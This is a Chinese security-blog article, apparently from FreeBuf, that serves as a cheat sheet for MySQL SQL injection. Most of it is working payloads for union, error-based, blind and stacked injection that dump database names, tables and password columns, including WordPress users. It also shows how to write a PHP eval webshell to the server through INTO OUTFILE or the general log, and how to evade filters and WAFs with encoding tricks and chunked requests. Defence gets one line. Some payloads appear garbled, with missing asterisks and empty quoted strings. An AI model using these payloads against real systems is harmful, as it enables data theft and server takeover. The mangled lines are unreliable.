总结一下在MySQL中的sql注入 2023-03-25 19:13:51 所属地 海外 ![](https://image.3001.net/images/20240308/1709876354_65eaa4828e91d155430d9.png) 本文由 创作,已纳入「FreeBuf原创奖励计划」,未授权禁止转载 基础 == 注入原理 ---- > sql注入是指web应用程序对用户输入数据的合法性没有进行判断或者过滤不严,导致攻击者可以构造恶意语句,获取数据库中的数据,在一定条件下甚至可以拿到shell 相关知识 ---- mysql5.0以上存在一个自带的数据库名为**information\_\_schema**,是一个存储纪录了所有数据库名、表名、列名的数据库,也相当于可以从这里查询指定数据库下面的表名和列名的信息,这是因为在数据库中"."表示下一级。例如:books.book表示books数据库下面的book表名 information_schema.schemata:纪录所有数据库的表 information_schema.tables:纪录所有表名的表 information_schema.columns;纪录所有列名的表 相当于变量: table_name:表名 column_name:列名 table_schema:数据库名 一些信息收集 数据库名:database() 数据库用户:user() 数据库版本:version() 操作系统:@@version_compile_os() **常用函数** substr(string,pos,length),截取字符串string,从offset开始长度为length。 ascii(c),返回c的ascii值 left(string,length),从左返回长度为length的字符串 判断 == 首先判断是否存在注入,常见的注入点有: 1. url参数,例如id、username、page等 2. post参数,例如登录框中的用户名密码 3. cookie参数 使用`'")`,`'`,`"`或者`' and 1=1`和`and 1=2`来判断页面内容或者数据包长度是否和常规的一样。如果不一样那么基本就可以判断存在注入了。 ![image.png](https://image.3001.net/images/20230325/1679713463_641e64b75bcbb4479e901.png) 接下来判断**数字型**注入还是**字符型**注入 ![image.png](https://image.3001.net/images/20230325/1679713265_641e63f1188107db7ac61.png) ![image.png](https://image.3001.net/images/20230325/1679713282_641e6402201422b4c3135.png) $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 如上图,没有单引号的情况下添加`and 1=1`和`and 1=2`返回页面不一样,说明是数字型注入 ![image.png](https://image.3001.net/images/20230325/1679712563_641e6133a1d0bb0e72f82.png) ![image.png](https://image.3001.net/images/20230325/1679712306_641e603206daf62613e3e.png) 如上图,添加单引号后`and 1=1`和`and 1=2`返回页面不一样。`--+`将后面的代码包括单引号给注释掉了。 另外闭合符号一般还有`) ]` 注入类型 ==== 联合注入 ---- > 有回显的情况下可以使用 ### 前提 **获取字段数** 在联合注入中,我们需要使用到**union**,因此在注入之前我们需要判断字段数。 > 获取字段数量为了满足union运算(联合的两次查询的字段数要相等) 可以使用`order by`和`group by` **order by** > 实际上就是排序第n列,例如在n为1-5的时候都没有报错,说明能够排序1-5列,但是到6时就报错,说明不存在第六列 **group by** > 对数据相同的列进行分组 `order by 5`或者`group by 5` **获取回显位** `union selet 1,2,3,4,5--+` ### payload 查表 ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='' 查列 ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='' 得知数据库和表可以查数据 ?id=-1 union select 1,group_concat(),3 from
?cat=-1%20union%20select%201,group_concat(id,0x2d,user_login,0x2d,user_pass,0x2d,user_level),3,4,5%20from%20wp_users 报错注入 ---- > 开启了mysql\_error()函数,将错误信息回显 ### 函数 #### updatexml() > 使用不同xml标记匹配和替换xml块的函数。 updatexml(XML\_document,XPath\_string,new\_value)。第二个参数格式不符合xpath语法时,mysql爆出xpath错误 **payload** and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--+ and updatexml(1,,1) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ 爆表 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='<库名>' and table_name='<表名>'),0x7e),1)--+ 爆字段 and updatexml(1,concat(0x7e,(select group_concat(<字段名>) from <表名> where table_schema='<库名>'),0x7e),1)--+ 爆内容 #### extractvalue() > 此函数从目标XML中返回包含所查询值的字符串 extractvalue(XML\_document,xpath\_string)。当xpath\_string格式出现错误,mysql则会爆出xpath语法错误。0x7e不属于xpath语法格式 **payload** and extractvalue(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir))--+ and extractvalue(1,concat(0x7e,语句,0x7e)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 爆表 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='<库名>' and table_name='<表名>'),0x7e)) --+ 爆字段 and extractvalue(1,concat(0x7e,(select group_concat(<字段名>) from <表名> where table_schema='<库名>'),0x7e))--+ 爆内容 #### floor() ?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+ ?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他) ?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表) ?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出password字段) ?id=1' union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出数值) 布尔注入 ---- > 主要使用`and`,通过判断网页返回内容区别来获取数据。 and left (database(),1)='s' --+ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+ 延时注入 ---- > 通过判断返回时间来获取数据,通常搭配ascii()使用 and sleep(5) and sleep(if(ascii(substr(database(),1,1))=85,2,0))       true延时两秒 select * from book1 where id = 1 and if(left(version(),1)=4,benchmark(100000000,md5(0x41)),0) and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115,2,0))--+ benchmark(count,expr),重复count次执行表达式expr 堆叠注入 ---- > 以分号结束,可同时执行多条sql语句 show databases; use ; show tables; show tables from ; show columns from .; 读写文件 ==== secure\_file\_priv ------------------ 在mysql 5.6.34版本以后 secure\_file\_priv的值默认为NULL。配置文件my.ini > NULL:禁止限制操作 > 某目录:只能操作该目录文件 > 为空:对读写文件不进行限制 show global variables like "secure%"; load\_file() ------------ > 读取文件内容并写入到一个临时表,之后查询临时表 select load_file('D:/shell.php'); ![image.png](https://image.3001.net/images/20230325/1679720546_641e80626548af450daf2.png) 文件内容插入表中 insert into book1 values(1,2,3,load_file('D:\\shell.php')); load data infile ---------------- 文件内容插入表再查询 load data infile 'D:\\shell.php' into table ; 系统命令 ---- 5.x版本,只能本地不能远程,不能越目录 system cat /usr/local/mysql/1.txt outfile ------- **可导出多行,在将数据写到文件里时有特殊的格式转换,自动换行** 可通过修改一些参数可不转义等 select '' into outfile 'D:/1.php' dumpfile -------- **只能导出一行数据 保持原数据格式** select '' into dumpfile 'D:/1.php' secure\_file\_priv绕过 -------------------- ### 指定目录限制 > local\_infile=ON set global local_infile = true; show global variables like "local_infile%"; load data local infile 'D:\\1.txt' into table user; 加一个local即可绕过 ![image.png](https://image.3001.net/images/20230325/1679720689_641e80f1aa3a36d3cd77d.png) 写shell ====== 条件 -- 1. 要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2. gpc没有开启,开启了单引号被转义了,语句就不能正常执行了 3. 要有file权限,默认情况下只有root有 4. 4:对目录要有写权限,一般image之类的存放突破的目录就有 联合注入 ---- ?id=1 union select 1,<一句话或者十六进制编码>,3 into outfile '物理路径' 例子 ?id=-1 union select 1,'' into outfile 'D:/1.php'--+ ?id=-1 union select 1,'' dumpfile 'D:/1.php'--+ ?id =1 union select 1,2,0x223c3f70687020406576616c28245f504f53545b2778275d293b3f3e22,4 into outfile 'D:/1.php'; //十六进制绕过gpc [hex转换](http://www.hiencode.com/hex.html) 非联合注入(--os-shell) ----------------- 其实就是往服务器上写入了两个shell,其中一个给我们提供了一个文件上传的页面,可以通过这个上传页面上传脚本文件到当前目录下,另外一个则是返回了一个可以让我们执行系统命令的命令行,命令行也可以在网页url中通过对cmd参数传参执行系统命令。 ### 原理 > lines terminated by表示在每行终止的位置插入webshell、 > > fields terminated by以每个字段的位置添加内容 > > lines starting by每行开始添加 ?id=1 INTO OUTFILE '物理路径' lines terminated by <一句话或者十六进制编码># 例子 ?id=-1 into outfile 'D:/1.php' fields terminated by ''--+ ?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x223c3f70687020406576616c28245f504f53545b2778275d293b3f3e22 -- 写日志 --- show variables like '%general%'; 查看日志文件路径 set global general_log = on; 开启日志监控 set global general_log_file = ’/usr/1.p' 设置写入路径 select '' 查询一句话木马(写入日志) set global general_log_file = '<原来日志路径>'; 修改回去 set global general_log = off; 关闭日志监控 绕过 == 关键字 --- > 大小写 > 双写 > 内联注释/\*!select\*/ > 拼接concat(‘se’,’lect \* from’) 空格 -- > /\*\*/ > () > %09 > %0a > %0d gpc --- > 16进制编码 比如users的十六进制的字符串是7573657273 > 宽字节 %df\\ > 宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入。 条件: 1. 使用了addslashes()函数 2. 数据库编码格式为gbk addsleshes()、iconv(),结合嵌套查询,例如where user=‘dumb’改为where user=(select username from users limit 0,1),使用limit控制 > addslashes() 函数返回在预定义字符之前添加反斜杠的字符串 ### 原理 输入%df时,经过函数转义单引号后,变成了`%df%5c%27`,GBK编码将前面两个字节编程汉字“运”,单引号逃逸,形成注入漏洞。 id=%df' and 1=1 --+ 逻辑 -- > and && > or || 逗号 -- ### substr()、mid() 使用`form for` select substr(database() from 1 for 1); select mid(database() from 1 for 1); ### union 使用`join` union select 1,2# => union select * from (select 1)a join (select 2)b # ### limit 使用`offset` select * from news limit 0,1 select * from news limit 1 offset 0 比较符号 ---- greatest()/least(),返回最大值、最小值。 select * from users where id=1 and ascii(substr(database(),0,1))>64 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 等号 -- > like > rlike > regexp > <> between注入 --------- 如果username='test1' select * from users where id =1 and substr(username,1,1) between 'a' and 'b'# false select * from users where id =1 and substr(username,1,1) between 'a' and 't'# true 注释符 --- 如果是字符型注入可以使用单引号或双引号闭合后面的引号 分块传输 ---- > HTTP允许数据分成多个部分,HTTP1.1版本 需要添加请求头`Transfer-Encoding: chuncked` id=1'UniOn SelEcT 1,user()%23 被拦截 将数据包修改如下(分号代表注释,可提高绕过概率): Transfer-Encoding: chuncked 2;2adfdasf id;2adfdasf 2;2adfdasf =1;2adfdasf 3;2adfdasf 'Un;2adfdasf 1;2adfdasf i;2adfdasf 1;2adfdasf O;2adfdasf 1;2adfdasf n;2adfdasf 3;2adfdasf Se;2adfdasf 1;2adfdasf l;2adfdasf 1;2adfdasf E;2adfdasf 3;2adfdasf cT ;2adfdasf 2;2adfdasf 1,;2adfdasf 3;2adfdasf use;2adfdasf 2;2adfdasf r(;2adfdasf 2;2adfdasf )%;2adfdasf 2;2adfdasf 23;2adfdasf 0;2adfdasf 注意后面的空格,以及最后长度为0表示分块结束和两个空行。并且长度值必须为十六进制 sleep() ------- benchmark(count,expr),重复count次执行表达式expr select * from book1 where id = 1 and if(left(version(),1)=4,benchmark(100000000,md5(0x41)),0); sqlmap ====== --dbs 所有数据库 --current-db 当前数据库 --current-user 当前用户 --is-dba 是否为管理员 --batch 默认确认 --threads 10 线程最高是10 --level 3 默认测试get和post,2-cookie,3-ua头和referer,最高5 --risk 3 风险,越高越慢越安全 --porxy="http://127.0.0.1:8080" 挂代理,请求发到burp,或者使用代理服务器端口 -v 详细等级,0-6,3显示有效payload -D 'db_name' --tables -D 'db_name' -T 'tablename' --columns -D 'db_name' -T 'tablename' -C 'columnname' --dump sqlmap -u "?id=x" --cookie "" --level 2 cookie注入 sqlmap -r 1.txt -p param post注入,参数值的后面加*号 sqlmap -u /login.php --data "username=1" 指定参数 sqlmap -u "http://192.168.22.xx/index.php?r=vul&keyword=1" --proxy=socks4://192.168.1.xx:2222 --current-db 使用socks4代理测试内网主机 防御 == > 预编译 > 正则表达式 > 限制类型 > 转义特殊符号 \# 漏洞 \# SQL注入 \# web安全